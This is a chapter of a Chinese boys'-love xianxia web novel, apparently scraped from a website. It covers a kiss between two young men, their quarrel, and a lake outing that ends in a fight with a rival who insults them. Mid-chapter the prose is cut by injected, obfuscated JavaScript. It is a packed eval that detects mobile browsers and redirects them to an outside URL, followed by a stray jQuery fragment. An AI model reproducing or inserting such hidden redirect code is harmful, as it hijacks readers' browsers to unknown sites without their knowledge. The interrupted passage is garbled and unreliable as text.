褚兰晞是只不老实的坏狗,没等主人回答,就擅自行动。
很痒,像是被许多毛草擦过。
可这些毛草又是活物,极为灵巧地变换身姿,或是戒指般转圈收紧,或是流水般淌过。
我浑身的力气都被卸了大半,仰头缓缓吸气,瞥见顶上的浮雕,是两条抱尾的鱼,像是阴阳两极。
文家先祖发迹于河流,崇尚鱼类,到处都能看见有关鱼的图案。
盯得久了,那两条鱼似乎活过来,正在水里嬉戏打闹,扑腾出许多水珠。
“云昭哥哥,你在想什么?”褚兰晞的声音从后面传来,低沉沙哑,还有灼热的气息。
我的脖间忽然疼起来,是被齿所伤,不由得啧了一声。
“云昭哥哥,你不许想别人,要想兰晞。”褚兰晞的声音不似白日那般轻轻柔柔,反而染上了怒意,听起来像是在教训。
我哪里能容忍他这般,正想张嘴骂回去,却感觉到强烈的痒意,如同钻心一般,连忙捂住嘴忍住声音。
是熟悉的两股,却又显得陌生。
丝丝缕缕的痒意从中丹田开始蔓延,直至手臂都虚弱,隐隐有下坠之势。
褚兰晞扯下我的手,没等我反应过来,声音就被尽数堵住。
我兀自瞪大眼睛,难以置信地看着他,是细密卷长的睫羽,扑在脸上很痒。
他怎么能亲我!
我惊诧一瞬,就想推开,却不曾想自己竟然像是被绳索困住,难以动弹。
褚兰晞的力气何时变得这般大?
从前分明只是个大风一吹就倒的小草,现在却如同牢不可催的参天大树。
这种感觉太过怪异,是从未有过的。
他似乎也不太懂,胡乱地吃。
刚开始还会伤到彼此的舌。
后面却逐渐熟络,如鱼得水,自由游弋。
周遭是若有若无的兰花香,比深山中的更为浓烈,却不刺鼻,还掺杂着些许淡淡的清甜。
好似在品一壶名酒,甘醇浓厚,回味无穷。
慢慢的,我居然从这事当中品出些许趣味。
难怪话本子里都说人间的书生遇到狐妖,会被迷惑神智,为了享乐,抛弃一切。
我如今居然也有这种想法,想搂住褚兰晞,再久一些。
可是我们皆为男子,倘若只是平常那般互助,也能说得过去。
现在这样缠吻,委实不妥。
我找回理智,狠心推开褚兰晞,骂道:“你,你以后不能这样!”
褚兰晞呼吸不稳,唇艳红,被我推开却不委屈落泪,反而用那双宛如秋水的眼睛愤恨地盯着我看,质问道:“为什么不能!”
我心说这小子就是被我娇纵惯了,居然敢摆出与我同等的姿态,简直倒反天罡!
我郑重道:“世间没有哪两个男子会像方才那样,你若是再犯,日后就不要唤我云昭哥哥。”
夜色苍茫,池水静谧。
褚兰晞迎着月光,眸光微动,眼中竟掠过一丝不悦,并未说话。
应该是生气了。
可他哪来的脸生气,明明只是我的跟班,等同仆从,竟敢做出逾越之事,活该气死!
我也不会看在他那张脸的份上去哄,稍微整理衣裳,便躺下盖好被子准备睡觉。
好一会儿,还没听到动静。
我眯起眼睛去偷看,发现褚兰晞居然还坐在床边,宛如一尊玉质佛像,微微垂着头,也不知道在想些什么。
有风涌入,带着凉凉的水汽。
不睡觉,冻死他算了!
我翻身背过去,逼自己不去看。
片刻后,又实在不忍心,出声骂道:“你不睡就滚出去,少在这里碍眼,影响我休息!”
褚兰晞最怕这招,他从小就跟着我,没法离开。
果然,没等多久就传来衣料摩挲的声响,紧接着旁边就沉下一大块。
背再次热起来,是他靠近,搂着腰,轻声道歉。
“云昭哥哥,别赶我走。”
“那你要做到今日所说之事,不可再犯。”
“好。”
褚兰晞应了一声,音色竟然染上了哭腔,听着怪可怜。
可我也很可怜,猝不及防同男人接吻,差点吓死。
想罢,我就没有哄他。
梦里迷迷糊糊感觉有人在亲我,一会儿和风细雨,一会儿洪水滔天就,似真似幻。
等我醒来,身旁已经没人。
正是晨间,薄雾轻笼池塘,芙蕖含羞半展,随风轻轻摇曳。
我醒来便不太舒服,估计是昨日的怪梦所害。
隐隐听见争吵声,就在门外,是一男一女。
我仔细分辨,才发觉是褚兰晞和文雪青。
文雪青情绪激动,似乎极为气愤:“这种人自私薄情,你为何偏要对她执迷不悟!”
褚兰晞语气平静,似忧伤又似无奈:“雪青姐姐,你不懂,她很好,兰晞此生非她不可。”
文雪青长叹一声:“痴儿!痴儿!”
我听到这里就明白,褚兰晞为情所困,文雪青好心劝他放弃。
应该是个不喜欢他的姑娘。
不是文雪青就好,我可不会容忍褚兰晞跟我抢。
褚兰晞低声下气地恳求:“雪青姐姐,你就帮帮我吧。”
文雪青沉默片刻,这才同意:“行吧。”
我不由得好奇,到底是什么样的女子?
此时听动静,应该是褚兰晞要进来。
我连忙躺下装睡。
没一会儿,褚兰晞脱下外衣躺进来,拥着我睡,说了很多话。
或许是睡不着,他又拿出书来看,钻心参悟新招式。
大约过了两个时辰,我才装作醒来。
褚兰晞帮我穿衣洗漱,同我说今日文雪青邀请各个世家子弟去景湖泛舟欣赏歌舞。
景州境内有个灵气充裕的大湖,一眼望不到头,景色优美,与州同名。
湖岸上酒楼鳞次栉比,人流如织,绸缎似的湖水漂着各种画舫。
白日,湖水倒映蓝天,干净如玉;夜里倒映晚霞,绚丽如虹。一日之内气象万千,美不胜收。
湖水中心还有个莲花状的云台,可供人跳舞,有时是女子,有时是男子。
各家的画舫不尽相同,大都绘制家纹,彰显身份。
我与褚兰晞的这艘,船身用鲜艳的橙红绘制飞鱼纹,分外惹眼。
云台上已经有人在跳舞,是个戴着面纱的女子,手如柔荑,婀娜多姿,引得无数男子注目。
我正想吟几句咏舞诗在文雪青卖弄,却不见她的身影,只好去找。
褚兰晞跟在我旁边,同我解释,文雪青想换件衣裳,稍后就到。
从前母亲经常出门后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466977|185494||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,又觉着妆容和服饰不好看,折返回去更换。
文雪青是女子,突然兴起也正常。
我回到位置坐好,耐心等待。
戴着面纱的女子很快就跳完了,换成一个身着白衣的男子,手拿长剑在舞动。
我喜剑,却也恨剑。
看到他人舞剑,就会想到自己无法修剑道,不由得握紧茶杯。
褚兰晞在旁边同我解释,男子舞的是哪一家的招式,又有何玄妙之处。
我听着烦躁,于是将帘幕降下来挡住。
四周瞬间就暗下来,丝竹声音也变得微弱。
我问起褚兰晞的心上人。
褚兰晞支支吾吾,说不清楚。
我轻蔑道:“料想是哪位世家大族的小姐,看不上你也正常。”
褚兰晞道:“云昭哥哥如何知道是男是女?”
我闻言,不由得想起昨夜之事,面颊腾得烧起来,急道:“难不成是男子,你是断袖!?”
褚兰晞抬眼看我,又很快看向别处,似乎在犹豫:“倘若兰晞是断袖,云昭哥哥该当如何?”
断袖?
不喜欢女子,去喜欢男人,同男人双修,结为道侣?
这未免太可怕了!
我惊诧,下意识地往后退:“那,那日后你离我远些,也不要叫我,免得被人误会,真是可怕!”
褚兰晞沉默片刻,这才放声大笑:“云昭哥哥,我骗你的,自然是喜欢女子。”
我狐疑地打量他的神情,就怕是装出来骗人。
褚兰晞眉眼弯如新月,凑过来低声告诉我:“我喜欢的女子比我年长,她不喜欢青.涩的男子,昨夜我就是想借云昭哥哥练习。”
我知道他说的是何事,耳尖发烫,慌张地偏头骂道:“你,你居然存了这种心思!”
褚兰晞抓住我的手轻轻摇晃,似孩童在哀求,话却非比寻常:“云昭哥哥你见多识广,应该擅长那种事,今夜回去能不能再陪我练练。”
我专心修行,连册子都没看过,哪里会懂,一时哑然。
褚兰晞又道:“我以为云昭哥哥无所不能,什么都会呢?”
无非就是买几个册子学学,再忽悠褚兰晞罢了,可不能在这事上没面子。
我撒谎道:“当然会,今夜回去就好好教导你!”
褚兰晞笑起来,双手撑着桌子,靠得很近,长发滑落我肩头,有香气漫开。
我想推开他,却突然被光刺到。
是帘子被掌风掀起,船身随之摇晃。
正对面飘着叶家的画舫,而叶淮洵立于船头,惊愕失色,指着褚兰晞骂道:“苏云昭,你竟然自甘堕落,跟这个断袖厮混!”
褚兰晞缓缓直起身,将鬓边的头发往后撩起,不慌不忙地看向对方,嘴角扬起,竟有嘲讽的意味。
叶淮洵像是了吃了苍蝇,皱眉嫌弃道:“真恶心!”
我怒火攻心,哪里还管褚兰晞的异样,拍桌就朝对面的画舫飞去。
两个仆从自觉地挡在叶淮洵身前,都被我掀飞落水。
叶淮洵忙展开羲和扇挡住我的攻势,看向褚兰晞,骂道:“苏云昭,我原以为你只是为人傲慢不懂礼,没想到居然堕落至此,真叫人作呕!”
我连贴九张符纸,骂道:“我同褚兰晞只是寻常友人,并非你口中的断袖。你个心思龌龊的蠢猪,不要恶意揣测!”